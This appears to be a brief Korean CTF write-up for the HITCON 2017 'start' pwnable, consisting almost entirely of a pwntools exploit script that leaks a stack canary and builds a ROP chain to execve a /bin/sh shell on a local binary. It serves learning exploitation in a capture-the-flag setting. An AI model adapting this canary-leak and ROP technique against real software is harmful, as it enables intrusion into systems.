Hacking/Pwnable
HITCON 2017 start write up
H0R1N
2019. 4. 11. 15:37
syscall을 이용한 ROP였다.
예전부터 풀어야지 했다가 오늘 풀었따.
from pwn import*
context.log_level = 'debug'
p = process("./start")
read = 0x440300
bss = 0x6cdb68
syscall = 0x468e75
prdi = 0x4005d5
prsi = 0x4017f7
prdx = 0x443776
prax_rdx_rbx = 0x47a6e6
pay1 = "a"*25
p.send(pay1)
p.recvuntil("a"*24)
canary = u64(p.recv(8)) - 0x61
log.info("canary = " + hex(canary))
pay2 = "a"*24
pay2 += p64(canary)
pay2 += "b"*8
#read(0 ,bss, 8)
pay2 += p64(prdi)
pay2 += p64(0)
pay2 += p64(prsi)
pay2 += p64(bss)
pay2 += p64(prdx)
pay2 += p64(8)
pay2 += p64(read)
#syscall setting
pay2 += p64(prax_rdx_rbx)
pay2 += p64(59)
pay2 += p64(0)
pay2 += p64(bss+100)
pay2 += p64(prdi)
pay2 += p64(bss)
pay2 += p64(prsi)
pay2 += p64(bss+100)
pay2 += p64(syscall)
p.sendline(pay2)
p.sendline("exit")
p.sendline("/bin/sh\x00")
p.interactive()